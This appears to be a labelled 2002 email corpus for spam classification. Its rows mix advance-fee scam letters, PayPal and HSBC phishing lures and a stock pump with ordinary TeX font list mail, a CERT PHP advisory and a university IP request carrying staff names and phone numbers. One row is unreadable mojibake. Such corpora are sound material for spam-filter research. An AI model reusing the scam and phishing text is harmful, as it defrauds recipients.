<20020713165620.GHXD6023.sccrmhc02.attbi.com@Wmlhezjtg> Date: Sat, 13 Jul 2002 16:56:24 +0000 Sender: owner-artwithbraininmind-l@kh.bu.edu Precedence: bulk Reply-To: artwithbraininmind-l@kh.bu.edu -------------------------- END HEADERS ------------------------------ ===================================================================  WEB SITE: http://kh.bu.edu/awbim  POST MESSAGE: Send a message to artwithbraininmind-l@kh.bu.edu  (UN)SUBSCRIBE: Send message to majordomo@kh.bu.edu with 'subscribe artwithbraininmind-l' in body to subscribe, or 'unsubscribe artwithbraininmind-l' in body to unsubscribe Next message: userid: ""A WinXP patch"" Previous message: userid: ""Visibility"" Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] This archive was generated by hypermail 2b30 : Tue May 23 2006 - 04:02:53 EDT",0,1 �� ��� ,tex-fonts@math.utah.edu,"Thu, 28 Mar 1935 00:21:04 +0000",Ŭ�����ϸ� �ѽð��ȿ� �����Ա޵˴ϴ� ��ŸŸ��,"������ ����! ������ ""��""��""��������!! ������������������������������������������ ��.//��//��//������ ���� �� ������ ��������      ������ ������ ������ ����������                 ������ �������� ������  ������ ������ ������ ������ ��������                ���� ��������������    ��*��*�� *��""��* ��*��*��*��*��*��                 ������������������������������������������",1,1 Paypal Security Team ,,"Mon, 15 Jul 2002 14:54:37 +0100",We are delighted to envite you to join our PREMIUM ACCOUNT Program,"Premium Account Program               Congratulation!         Dear Paypal Member,              Due to your continued activity on Paypal we are delighted to envite you to join our PREMIUM ACCOUNT Program.                           With this account, you can have : No monthly fees No setup fees No gateway fees Free eBay and Merchant tools Antifraud systems at no extra cost        Perfect for both buying and selling. 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Let me know if you have questions. 141.166.187.193 IP Subnet 255.255.252.0 Gateway 141.166.184.1 Primary Name Server 141.166.188.6 Sec. Name Server 141.166.188.7 Pri. WINS 141.166.188.8 Secondary WINS 141.166.188.9 DNS Name ********************************** Holly Caruso Manager of Network Services University of Richmond Voice: 804-287-6401 Fax : 804-289-8988 e-mail hcaruso@richmond.edu ********************************** The only disability in life is a bad attitude - Scott Hamilton -----Original Message----- From: httpd@www.richmond.edu [mailto:httpd@www.richmond.edu] Sent: Monday, July 15, 2002 2:31 PM To: hcaruso@richmond.edu; ccarter2@richmond.edu Subject: F/S IP Request Below is the result of your feedback form. It was submitted by () on Monday, July 15, 2002 at 14:30:49 --------------------------------------------------------------------------- Name: Gerard Gilfoyle Dept.: Physics Phone: 804-289-8255 OS: printer OS Why: printing Req. name: phytek1 MAC: 00:00:aa:84:e4:c6 name: Submit --------------------------------------------------------------------------- REMOTE_ADDR: 141.166.223.34 HTTP_USER_AGENT: Mozilla/4.77 [en] (X11; U; Linux 2.4.3-12 i686) ",0,0 Nikandros Wichman ,tex-fonts@math.utah.edu,"Mon, 15 Jul 2002 23:39:37 -0700",Re: oajoj news,"Dea w r Home Ow t ne j r , Your cr l ed l it doesn't matter to us ! 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Vi y si w t o n ur site Sincerely, Nikandros Wichman A s pprov z al Manager",1,1 Francisco Chinchilla ,"""'Caruso, Holly'"" ","Tue, 16 Jul 2002 23:34:31 -0400",RE: F/S IP Request,"Everything works fine with the ip address, thanks! -----Original Message----- From: Caruso, Holly [mailto:hcaruso@richmond.edu] Sent: Monday, July 15, 2002 5:21 PM To: 'fchinchi@richmond.edu' Cc: Gilfoyle, Gerard Subject: RE: F/S IP Request Francisco - since this is a printer I have set it up in DHCP with this reserved address. That way it will pick it up again if something happens. Let me know if you have questions. 141.166.187.193 IP Subnet 255.255.252.0 Gateway 141.166.184.1 Primary Name Server 141.166.188.6 Sec. Name Server 141.166.188.7 Pri. WINS 141.166.188.8 Secondary WINS 141.166.188.9 DNS Name ********************************** Holly Caruso Manager of Network Services University of Richmond Voice: 804-287-6401 Fax : 804-289-8988 e-mail hcaruso@richmond.edu ********************************** The only disability in life is a bad attitude - Scott Hamilton ",0,0 """Mr.Angelov"" ",harry@uclink4.berkeley.edu,"Thu, 18 Jul 2002 13:42:25 +0400",Applying as an Investor,"Dear Sir/Madam, I am applying to become an investor in your private/company business. I am contacting you with the believe that we would be able to go into any good business venture that you may deem fit. We shall be placing an investment capital of $35Million Dollars under your person/company's direct control for a period of 15years investment plan. After that we would revalidate the investment and see if it will be good to continue with your project or request change of business. The purpose of investing through you or your company is because the investor can no longer invest in any business openly due to some corruption charges and political problems he has now in his country, which has made it impossible for him to come out openly in the public and invest in any viable business, because he is under house arrest in the hands of his government in his country. You will handle all his financial investment in your company until the problems are over. I shall send further details about the investor. I was his personal assistance who is also in hiding for the safety of my life, after an assassination attempt on my life by the government agent, believing that I know where some of his funds are kept. My duty is to make sure this fund get into the right place for investment before anything happens to me also. The investor was the former Finance Minister of Brunei. I will need you to send the following details to me, if you are willing to handle this investment on our behalf. 1. Your full names and address, including telephone numbers. 2. A brief profile about yourself and the work you do for a living including age and which country of origin you come from. On the receipt of the above details I will send you the full information required by mail on how to get this fund transferred to your bank account. Best Regards, Mr.Angelov Anas. ",1,0 Raeburn Beverage ,ofelia@tartan.richmond.edu,"Thu, 18 Jul 2002 17:07:24 -0700",Re: CtALlfS news,"Hi, V P A L C X V I r m e I a A A o b v A n L G z i i L a I R a e t I x U A c n ra S M http://www.zakuparelyt.com from the River Running, and drawing ever nearer and nearer to a great spur of the Mountain that was flung out southwards towards them. It was a weary journey, and a quiet and stealthy one. There was no laughter or song or sound of harps, and the pride and hopes which had stirred in their hearts at the singing of old songs by the lake died away to a plodding gloom. They knew that they were drawing near to the ",1,1 Joseph Lorenzo Hall ,linuxusers@astron.Berkeley.EDU,"Fri, 19 Jul 2002 15:33:34 -0700",Forbes special on Linux...," Though you might want to know that Forbes has a special section on Linux... there's definitely some good reads there: http://www.forbes.com/2002/07/16/linuxintro.html Joe ",0,1 """DR.BOLA AHMED "" ",tex-fonts@tug.org,"Wed, 17 Jul 2002 14:46:51 -0000",REPLY AS SOON AS POSSIBLE ,"No. 300 Bol Ahmed Way, LAGOS - NIGERIA STRICTLY CONFIDENTIAL ATTN: President/ C.E.O I am the Chief Medical Doctor and close confidan of Mrs. Maryam Abacha, the former first lady and wife of the late Gen.Sani Abacha, the former head of state and commander in chief of the armed forces of the Federal Republic of Nigeria. S She (MRS. M. ABACHA), has as a result of the trust and confidence, she has in me mandated that I search for a reliable and trust worthy foreign partner, who will help receive some funds which she had in cash totaling US$35M (Thirty Five Million United States Dollars only) into a personal, company or any reliable foreign bank accounts within or outside your country. Since the death of her husband the present government has been saizing all the family properties as all their personal and family Bank accounts within and outside Nigeria have all been frozen by the Nigerian authorities. (I would refer you to the website of Weekly Tell magazine: WWW. TELLMAGAZINE.com of November 23, 1998 page 25,and another edition of TELL WEEKLY MAGAZINE of October 11 1999, Page 10 captioned the tyrants son, for further information About this money and the ABACHAS) This money in question has however, been clearly moved in defaced form and Deposited with a security company that has branches in Asia, Africa, Europe and various parts of America. It may also interest you to note that she (MRS. ABACHA) and her family have, Since then inception of the present democratic government, been placed Under partial house arrest, with their international traveling passports seized.Thus we seek your assistance to help clear the money from the security company into your account, she has promised to give you 30% of the total sum. Note that this transaction involves no risks what so ever, as you will have no dealing with my country, Nigeria. Rather you will deal directly with the Security Company, which is based where the money is right now. Let me have your confidential Tel/Fax numbers in your response to this proposal. I shall let you into a complete detailed picture of this mutual beneficial transaction when I have received your anticipated positive reply. Reply to this e-mail address: drbol_ahmed@asorock.com or give me a call: 234-80-23325603 This matter should be treated as urgent and Confidential!) Regards, DR.BOLA AHMED drbol_ahmed@asorock.com ",1,0 Dan Obi ,danobi@lycos.com,"Wed, 17 Jul 2002 04:37:21 +1200",STRAIGHT FOR BUSINESS.," DEAR SIR, IT IS WITH TRUST AND CONFIDENCE THAT I MAKE THIS URGENT AND IMPORTANT BUSINESS PROPOSAL TO YOU. I AM A SENIOR ACCOUNTANT WITH THE NIGERIAN NATIONAL PETROLEUM CORPORATION (NNPC) HERE IN LAGOS. I HAVE BEEN ASSIGNED BY MY COLLEAGUES TO SEEK FOR A FOREIGNPARTNER IN THE TRANSFER OF THE SUM OF US$8 MILLION(EIGHT MILLION LLARS) ONLY. THIS MONEY AROSE FROM A DELIBERATE ACT OF OVER INVOICING OF A PARTICULAR CONTRACT AWARDED BY MY CORPORATION IN 1997 AND IT WAS SECURED UNDER CONTRACT NUMBER: FGN/NNPC/022996/CB/97. WE HAVE BEEN SAFE GUARDING THIS MONEY SINCE THEN, AWAITING AN OPRIATE TIME WHEN THE MONEY CANBE TRANSFERRED INTO A SAFE FOREIGN ACCOUNT FOR SAFE KEEPING DPENDING OUR ARRIVAL FOR THE SHARING AND UTILIZATION WITH THEOWNER OF THE ACCOUNT. NOW, THE NEW CIVILIAN GOVERNMENT HAS ORDERED THAT ALL DEBT OWED TO FOREIGN CONTRACTORS BY THE GOVERNMENT SHOULD BE PAID IMMEDIATELY. ON THE STRENGTH OF THIS ORDER, WE WISH TO TAKE ADVANTAGE OF IT TO PRESENT YOU OR YOUR COMPANY AS ONE OF THE CONTRACTORS BEING OWED BY THE FEDERAL GOVERNMENT OF NIGERIA. MEANWHILE, WE HAVE AGREED THAT THE MONEY WILL BE SHARED THUS, 60% WILL BE FOR MY COLLEAGUES AND I, 30% WILL BE FOR YOU FOR PROVIDING THE NECESSARY ASSISTANCE WHILE THE REMAINING 10% HAVE BEEN SET ASIDE FOR INCIDENTAL EXPENSES THAT MIGHT BE INCURRED DURING THE TRANSACTION. NOTE, THAT THE NATURE OF YOUR COMPANYS BUSINESS IS IRRELEVANT TO THIS TRANSACTION AS ALL ARRANGEMENTS HAVE BEEN CONCLUDED FOR A SUCCESSFUL AND HITCH FREE TRANSACTION. NOTE THAT THIS MONEY IS STILL IN SUSPENSE ACCOUNT OF MY CORPORATION (NNPC) WITH CENTRAL BANK OF NIGERIA.YOU ARE REQUIRED TO EMAIL THE FOLLOWING INFORMATION TO US IMMEDIATELY. 1. YOUR PHONE AND FAX NUMBERS. 2. NAME AND ADDRESS OF YOUR BANK, PHONE ANDFAX NUMBERS OF THE BANK. 3. YOUR ACCOUNT NUMBER. WE HAVE TAKEN MEASURES TO ENSURE THAT THERE ARE NO RISK INVOLVED ON BOTH PARTIES. WE HAVE ESTIMATED THAT THIS TRANSACTION WILL BE CONCLUDED WITHIN 14 WORKING DAYS ON RECEIPT OF YOUR ACCEPTANCE LETTER TO THIS PROPOSAL BY EMAIL . I AM EXPECTING YOUR URGENT AND FAVOURABLE RESPONSE. SINCERELY, MR.DAN OBI _____________________________________________________ Supercharge your e-mail with a 25MB Inbox, POP3 Access, No Ads and NoTaglines --> LYCOS MAIL PLUS. http://www.mail.lycos.com/brandPage.shtml?pageId=plus ",1,1 NAV for Microsoft Exchange-EXSRV ,'tex-fonts' ,"Mon, 15 Jul 2002 02:36:37 -0500",Norton AntiVirus detected a virus in a message you sent. The inf ected attachment was deleted.,"Recipient of the infected attachment: Administrator\\Deleted Items Subject of the message: Cellspacing One or more attachments were deleted Attachment height.pif was Deleted for the following reasons: Virus UNAUTHORIZED FILE was found. ",1,0 """ENG. ROBER OBI"" ",tex-fonts@tug.org,"Sat, 20 Jul 2002 03:15:00 -0700",Mutual transaction,"From: Engr. Robert Obi. Direct Phone 234 1 7760927. Direct fax: 234 1 7596323. Attn: Sir. Dear Sir, We are members of a special committee for budget and planning of the Nigerian National Petroleum Corporation (NNPC). This committee is principally concerned with contract awards and approval. With Our positions, we have successfully secured for ourselves the sum of Twenty One Million, Five Hundred Thousand United States Dollars (US$21.5M). This amount was carefully manipulated by over-invoicing of an old contract. Based on information gathered about you, we believe you would be in position to help us in transferring this fund (US$21.5M) into a safe account. It has been agreed that the owner of the account will be compensated with 20% of the remitted funds, while we keep 75%, and 5% will be set aside to offset expenses and pay the necessary taxes. All modalities of this transaction have been worked out and once started will not take more than 10 working days, with your full support. This transaction is 100% risk free. If this proposal satisfies you, please reach us ONLY by fax or phone, for more information. It might be difficult to get through to me because of poor telecommunication system here. Please keep trying you will definitely get through. Alternatively, email me on the above email address. Please treat as urgent and very confidential. Yours faithfully, Engr. Robert Obi. robert_obi@mail.com Direct Phone 234 1 7760927 Direct fax: 234 1 7596323. NB: For confidential reasons and due to the poor communication system in my country, most often foreign calls could be diverted to the wrong person. So for you to be very sure you are rightly speaking with me, it is very important that when you call and ask for me, the moment I pick up the phone, you should ask me for the ""CODEWORD"" and my answer would be ""VICTORY before we proceed discussions, but if I do not say ""VICTORY"", that means you are speaking with me just DISCONNECT the line and call me back till I give you the code word. ",1,0 """Eng. Robert Obi"" ",,"Sat, 20 Jul 2002 03:44:48 -0700",Mutual Business Transaction,"From: Engr. Robert Obi. Direct Phone 234 1 7760927. Direct fax: 234 1 7596323. Attn: Sir. Dear Sir, We are members of a special committee for budget and planning of the Nigerian National Petroleum Corporation (NNPC). This committee is principally concerned with contract awards and approval. With Our positions, we have successfully secured for ourselves the sum of Twenty One Million, Five Hundred Thousand United States Dollars (US$21.5M). This amount was carefully manipulated by over-invoicing of an old contract. Based on information gathered about you, we believe you would be in position to help us in transferring this fund (US$21.5M) into a safe account. It has been agreed that the owner of the account will be compensated with 20% of the remitted funds, while we keep 75%, and 5% will be set aside to offset expenses and pay the necessary taxes. All modalities of this transaction have been worked out and once started will not take more than 10 working days, with your full support. This transaction is 100% risk free. If this proposal satisfies you, please reach us ONLY by fax or phone, for more information. It might be difficult to get through to me because of poor telecommunication system here. Please keep trying you will definitely get through. Alternatively, email me on the above email address. Please treat as urgent and very confidential. Yours faithfully, Engr. Robert Obi. Direct Phone 234 1 7760927 Direct fax: 234 1 7596323. NB: For confidential reasons and due to the poor communication system in my country, most often foreign calls could be diverted to the wrong person. So for you to be very sure you are rightly speaking with me, it is very important that when you call and ask for me, the moment I pick up the phone, you should ask me for the ""CODEWORD"" and my answer would be ""VICTORY before we proceed discussions, but if I do not say ""VICTORY"", that means you are speaking with me just DISCONNECT the line and call me back till I give you the code word. ",1,0 Antigen,tex-fonts@sunshine.math.utah.edu,"Sat, 20 Jul 2002 16:22:33 +0200",Antigen Notification:Antigen found FILE FILTER= *.bat file,"Antigen for Exchange found jJH1-jmame[1].bat matching FILE FILTER= *.bat file filter. The file is currently Removed. The message, ""A special funny website"", was sent from ps and was discovered in SMTP Messages\\Outbound located at MOBITEL.SI/MOBITEL0/MOBI-MAIL2. ",1,0 System Attendant ,"""'tex-fonts@math.utah.edu'"" ","Sat, 20 Jul 2002 09:38:49 -0500",ScanMail Message: To Recipient virus found or matched file blocki ng setting.,"ScanMail for Microsoft Exchange has taken action on the message, please refer to the contents of this message for further details. Sender = ps@pbumuti.o Recipient(s) = tex-fonts@math.utah.edu Subject = A special funny website Scanning Time = 07/20/2002 09:38:48 Engine/Pattern = 6.150-1001/323 Action on message: The attachment jJH1-jmame[1].bat matched file blocking settings. ScanMail has taken the Moved action. The attachment was moved to C:\\PROGRA~1\\SMailEx\\Alert\\jJH1-jmame[1]3d3975f88f.bat_. Warning to recipient. ScanMail has detected a virus. ",0,0 yfd6wuez ,tex-fonts@math.utah.edu,"Sat, 20 Jul 2002 21:45:38 +0800",specs for this week [R E P O R T WEEK STARTING MONDAY it is] expertly girders,"GAPJ- GOLDEN APPLE OIL/GAS This weeks Pick, Company already has solid potential Current Price: $ 0.50 5 Day Projected : $ 1.50 Golden Apple Oil and Gas, Inc. and Franklin Ross Securities Complete Private Placement Golden Apple Oil and Gas, Inc. (GAPJ - News) is pleased to announce it has completed the initial private placement with Franklin Ross Securities of New Jersey. The terms of the deal provide for Franklin Ross to purchase 181,818 shares of Golden Apple Oil and Gas, Inc. restricted stock priced at .10 per share. The company is currently negotiating with several investor groups for the next phase of financing. Headquartered in Phoenix, Arizona, Golden Apple is an independent oil and gas producer with a focus on North and South American properties. The Company applies advanced technologies to systematically explore and develop its oil and natural gas opportunities. Golden Apple focuses its activities where technology can be used effectively to maximize returns on invested capital by reducing drilling risk and enhancing its ability to cost-effectively grow reserves and production volumes. Golden Apple Oil and Gas, Inc has opened a Canadian office in Toronto, Ontario to facilitate the management of its Canadian operations. All correspondence and communication will continue to be serviced by the company's head office staff in Phoenix Arizona. This looks very lucrative in coming weeks, Get GAPJ First Thing Monday Moliere archiving contestant activity Punic USAF forcefulness Hermosa incredulity Josephus balking devises magicians fray acknowledgments distorts conjugacy airs bridgeheads Samoa Calvary harmlessly aspersion daffodils Alabamian films gadwall blat magicians advantageous conferee discord bellicosity dependability acceptability minnow's initials encase",1,0 Globelife ,tex-fonts@math.utah.edu,"Sun, 21 Jul 2002 04:18:14 +0200",Hair-Fashion Information,"INFORMAZIONE MODA-CAPELLI Stiamo allestendo una nuova rubrica dedicata sia al parrucchiere che alla donna/uomo: www.globelife.biz. In Questa sezione verranno inserite 5000/6000 immagini di MODA-CAPELLI (divise in capelli medio-lunghi, corti, cerimonia, ecc). Ci farebbe piacere ricevere un tuo ""personale"" parere. Grazie per la collaborazione. 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",,"Mon, 22 Jul 2002 02:30:10 -0700",Unlock your HSBC Internet Banking account,"For your security, the profile that you are using to access your HSBC Internet Banking account has been locked because of too many failed login attempts. You can unlock your account by selecting an option below.   Unlock your HSBC Internet Banking account by following the link bellow: https://www.hsbc.co.uk/1/2/personal/pib-home   We regret any inconvenience this may have caused you. Sincerely, Account Review Department. © 2006 HSBC Bank plc -------------------------------------------------------------- Please do not reply to this e-mail. Mail sent to this address cannot be answered. For assistance, log in to your HSBC Internet Banking account and choose the ""Help"" link on any page.",1,1 CERT Advisory ,cert-advisory@cert.org,"Mon, 22 Jul 2002 19:11:06 -0400",CERT Advisory CA-2002-21 Vulnerability in PHP,"-----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2002-21 Vulnerability in PHP Original release date: July 22, 2002 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * Systems running PHP versions 4.2.0 or 4.2.1 Overview A vulnerability has been discovered in PHP. This vulnerability could be used by a remote attacker to execute arbitrary code or crash PHP and/or the web server. I. Description PHP is a popular scripting language in widespread use. For more information about PHP, see http://www.php.net/manual/en/faq.general.php The vulnerability occurs in the portion of PHP code responsible for handling file uploads, specifically multipart/form-data. By sending a specially crafted POST request to the web server, an attacker can corrupt the internal data structures used by PHP. Specifically, an intruder can cause an improperly initialized memory structure to be freed. In most cases, an intruder can use this flaw to crash PHP or the web server. Under some circumstances, an intruder may be able to take advantage of this flaw to execute arbitrary code with the privileges of the web server. You may be aware that freeing memory at inappropriate times in some implementations of malloc and free does not usually result in the execution of arbitrary code. However, because PHP utilizes its own memory management system, the implementation of malloc and free is irrelevant to this problem. Stefan Esser of e-matters GmbH has indicated that intruders cannot execute code on x86 systems. However, we encourage system administrators to apply patches on x86 systems as well to guard against denial-of-service attacks and as-yet-unknown attack techniques that may permit the execution of code on x86 architectures. This vulnerability was discovered by e-matters GmbH and is described in detail in their advisory. The PHP Group has also issued an advisory. A list of vendors contacted by the CERT/CC and their status regarding this vulnerability is available in VU#929115. Although this vulnerability only affects PHP 4.2.0 and 4.2.1, e-matters GmbH has previously identified vulnerabilities in older versions of PHP. If you are running older versions of PHP, we encourage you to review http://security.e-matters.de/advisories/012002.html II. Impact A remote attacker can execute arbitrary code on a vulnerable system. An attacker may not be able to execute code on x86 architectures due to the way the stack is structured. However, an attacker can leverage this vulnerability to crash PHP and/or the web server running on an x86 architecture. III. Solution Apply a patch from your vendor Appendix A contains information provided by vendors for this advisory. As vendors report new information to the CERT/CC, we will update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Please contact your vendor directly. Upgrade to the latest version of PHP If a patch is not available from your vendor, upgrade to version 4.2.2. Deny POST requests Until patches or an update can be applied, you may wish to deny POST requests. The following workaround is taken from the PHP Security Advisory: If the PHP applications on an affected web server do not rely on HTTP POST input from user agents, it is often possible to deny POST requests on the web server. In the Apache web server, for example, this is possible with the following code included in the main configuration file or a top-level .htaccess file: Order deny,allow Deny from all Note that an existing configuration and/or .htaccess file may have parameters contradicting the example given above. Disable vulnerable service Until you can upgrade or apply patches, you may wish to disable PHP. As a best practice, the CERT/CC recommends disabling all services that are not explicitly required. Before deciding to disable PHP, carefully consider your service requirements. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. As vendors report new information to the CERT/CC, we will update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Apple Computer Inc. Mac OS X and Mac OS X Server are shipping with PHP version 4.1.2 which does not contain the vulnerability described in this alert. Caldera Caldera OpenLinux does not provide either vulnerable version (4.2.0, 4.2.1) of PHP in their products. Therefore, Caldera products are not vulnerable to this issue. Compaq Computer Corporation SOURCE: Compaq Computer Corporation, a wholly-owned subsidiary of Hewlett-Packard Company and Hewlett-Packard Company HP Services Software Security Response Team x-ref: SSRT2300 php post requests At the time of writing this document, Compaq is currently investigating the potential impact to Compaq's released Operating System software products. As further information becomes available Compaq will provide notice of the availability of any necessary patches through standard security bulletin announcements and be available from your normal HP Services supportchannel. Cray Inc. Cray, Inc. does not supply PHP on any of its systems. Debian Debian GNU/Linux stable aka 3.0 is not vulnerable. Debian GNU/Linux testing is not vulnerable. Debian GNU/Linux unstable is vulnerable. The problem effects PHP versions 4.2.0 and 4.2.1. Woody ships an older version of PHP (4.1.2), that doesn't contain the vulnerable function. FreeBSD FreeBSD does not include any version of PHP by default, and so is not vulnerable; however, the FreeBSD Ports Collection does contain the PHP4 package. Updates to the PHP4 package are in progress and a corrected package will be available in the near future. Guardian Digital Guardian Digital has not shipped PHP 4.2.x in any versions of EnGarde, therefore we are not believed to be vulnerable at this time. Hewlett-Packard Company SOURCE: Hewlett-Packard Company Security Response Team At the time of writing this document, Hewlett Packard is currently investigating the potential impact to HP's released Operating System software products. As further information becomes available HP will provide notice of the availability of any necessary patches through standard security bulletin announcements and be available from your normal HP Services support channel. IBM IBM is not vulnerable to the above vulnerabilities in PHP. We do supply the PHP packages for AIX through the AIX Toolbox for Linux Applications. However, these packages are at 4.0.6 and also incorporate the security patch from 2/27/2002. Mandrakesoft Mandrake Linux does not ship with PHP version 4.2.x and as such is not vulnerable. The Mandrake Linux cooker does currently contain PHP 4.2.1 and will be updated shortly, but cooker should not be used in a production environment and no advisory will be issued. Microsoft Corporation Microsoft products are not affected by the issues detailed in this advisory. Network Appliance No Netapp products are vulnerable to this. Red Hat Inc. None of our commercial releases ship with vulnerable versions of PHP (4.2.0, 4.2.1). SuSE Inc. SuSE Linux is not vulnerable to this problem, as we do not ship PHP 4.2.x. _________________________________________________________________ The CERT/CC acknowledges e-matters GmbH for discovering and reporting this vulnerability. _________________________________________________________________ Author: Ian A. Finlay. ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2002-21.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2002 Carnegie Mellon University. Revision History July 22, 2002: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPTyOVqCVPMXQI2HJAQGK6QQAp1rR7K18PNxpQZvqKPYWxyrtpiT8mmKN UuyERmOoX+5MAwH0hbAWCvVcyLH0gKGbTpBkRgToT8IEHZojwHCzqOaMM9kni/FG QEVeznLfBX4GIgZGPu0XWlph3ZqaayWln57eGueYZ26zBuriIUu2cUCmyYGQkqlI tuZdnDqUmR0= =+829 -----END PGP SIGNATURE-----",0,1 Chris Johnston ,Steven Hauser ,"Tue, 23 Jul 2002 09:47:07 -0500",Fw: Ayd Mill EIS,"FYI ----- Original Message ----- From: ""Dean Barkley"" To: Sent: Tuesday, July 23, 2002 9:32 AM Subject: Re: Ayd Mill EIS > The EQB staff is working on this matter as we speak. > > Dean > > >>> ""Chris Johnston"" 07/23/02 08:58AM > >>> > Dear Mr. Barkley > > My name is Chris Johnston and I am a resident of Highland Park. I am > outraged at Mayor Kelly's complete disregard of Environmental Impact > Statement rules with respect to his Ayd Mill ""test"" > > The Mayor's actions are in direct violation of several rules and I ask > that you find as such and put a stop to this test at the August 15 > meeting. > > 1. There was no mention of a ""test"" in the scope of the EIS. > (4410.2100) > > 2. There have been no amendments to the scope of the EIS. (4410.5200) > > 3. Most distressing is the Mayor's breach of the Duty of Candor to the > citizens of Saint Paul. In particular, 4405.0300 Subp. 1 states, ""In all > formal or informal negotiations, communications, proceedings, and other > dealings between any person and any member, employee, or agent of the > board, it is the duty of each person and each member, employee, or agent > of the board to act in good faith and with complete truthfulness, > accuracy, disclosure, and candor."" > > > Over the past several months the citizens of this country have been > outraged at corporate executives who have been exposed with-holding the > truth and cooking the books in order to deceive investors. I see very > little difference between those acts and those of Mayor Kelly - an > executive, withholding the truth to deceive investors/tax-payers. > Fortunately, in this case, you have the opportunity to stop the deceit > before it does irreparable damage. > > I look forward to seeing you at the August 15, 2002, meeting when you > put an end to the ""test."" > > Sincerely, > > Chris Johnston > 600 South Saratoga > St. Paul, MN > 55116 > 651-402-6234",0,0 William Adams ,tex-fonts@sunshine.math.utah.edu,"Tue, 23 Jul 2002 13:27:48 -0400",OpenType support (for TeX),"Anyone know of any work on this? (beyond of course the rudimentary support pdfTeX already provides for .otfs w/ TrueType outlines) I'd really love to find a system like to that of TeX/GX for Macintosh QuickDraw/GX where system-installed fonts are automagically used and there's a method for querying the installed font(s) to get their feature-set. William ",0,0 """Berthold K.P. Horn"" ","wadams@atlis.com, tex-fonts@sunshine.math.utah.edu","Tue, 23 Jul 2002 15:07:23 -0400",Re: OpenType support (for TeX),"At 01:27 PM 7/23/2002 -0400, William Adams wrote: >Anyone know of any work on this? (beyond of course the rudimentary >support pdfTeX already provides for .otfs w/ TrueType outlines) OpenType is a compromise designed by an industrial consortium that has lost much of its original power by being dumbed down to were it typically is no more than a wrapper for either a Type 1 or a TrueType font. Plus, as discussed before, many of it's potentially more powerful features (such as glyph substitution and clever kerning) are of no use to TeX, actually are a problem for TeX, and are not needed by TeX, since TeX already does some of those things. >I'd really love to find a system like to that of TeX/GX for Macintosh >QuickDraw/GX where system-installed fonts are automagically used and >there's a method for querying the installed font(s) to get their feature-set. Such things have existed since about 1990 in BSR's Textures and Y&Y's TeX. And yes it really is great. But it is a constant struggle dealing with the rest of the TeX world that works a different way. Regards, Berthold. >William -- Berthold K.P. Horn mailto:bkph@ai.mit.edu http://www.ai.mit.edu/people/bkph (BK)",0,1 """MicroPress Inc."" ",wadams@atlis.com,"Tue, 23 Jul 2002 15:39:37 -0400",Re: OpenType support (for TeX),"At 01:27 PM 7/23/02 -0400, you wrote: >Anyone know of any work on this? (beyond of course the rudimentary >support pdfTeX already provides for .otfs w/ TrueType outlines) VTeX (www.micropress-inc.com) also supports (usually much better) Type1-based .otf's. > >I'd really love to find a system like to that of TeX/GX for Macintosh >QuickDraw/GX where system-installed fonts are automagically used and >there's a method for querying the installed font(s) to get their feature-set. Most of such features would not be very compatible with TeX; and it is far from clear if TeX would benifit from such extensions. > >William > > --------------------------------------------- Michael Vulis MicroPress mailto://support@micropress-inc.com http://www.micropress-inc.com ",0,1 William Adams ,,"Tue, 23 Jul 2002 16:20:43 -0400",Re: OpenType support (for TeX),"Berthold said: >OpenType is a compromise designed by an industrial consortium >that has lost much of its original power by being dumbed down >to were it typically is no more than a wrapper for either a Type 1 >or a TrueType font. Right, but for TeX that makes the problem easier, no? >Plus, as discussed before, many of it's potentially more >powerful features (such as glyph substitution and clever kerning) >are of no use to TeX, actually are a problem for TeX, and are not >needed by TeX, since TeX already does some of those things. But not with OpenType fonts :( TeX/GX had a nice compromise on this front (and though I'm loathe to give up the flexibility of virtual fonts, it would be nice to just drag-drop Adobe Garamond Pro and have it ``just work'') (re: TeX/GX's systemic font installation) >Such things have existed since about 1990 in BSR's Textures and >Y&Y's TeX. And yes it really is great. But it is a constant struggle >dealing with the rest of the TeX world that works a different way. Right, but this then limits one to Windows or Mac OS <9 (I really wish BSR would Carbonize Textures). It's also kind of disingenuous to bring them up since neither automagically handles rich fonts like to OpenType AIUI. Michael Vulis then said: (re: pdfTeX supporting TrueType-based .otfs) >VTeX (www.micropress-inc.com) >also supports (usually much better) Type1-based .otf's. Interesting (sure wish I could find a copy of OS/2 for Pens for my Fujitsu pen slate). But at: http://www.micropress-inc.com/texdocs/index.html there're no details on the nature of your support of OpenType---am I missing where to look this up? While I appreciate, and don't mind the commercial implementations stepping forward, naturally the thrust of my query was toward some sort of generally available / open implementation (has TUG considered funding such?). ::mental note:: order a copy of _TeX: The Program_.... William",0,1 UK Prank Calls ,tex-fonts@tug.org,"Tue, 23 Jul 2002 21:48:47 +0100",Hilarious Prank Call Service,"Please visit http://ukprankcalls.com to play a hilarious joke on your mates! ",1,1 """MicroPress Inc."" ",wadams@atlis.com,"Tue, 23 Jul 2002 16:58:30 -0400",Re: OpenType support (for 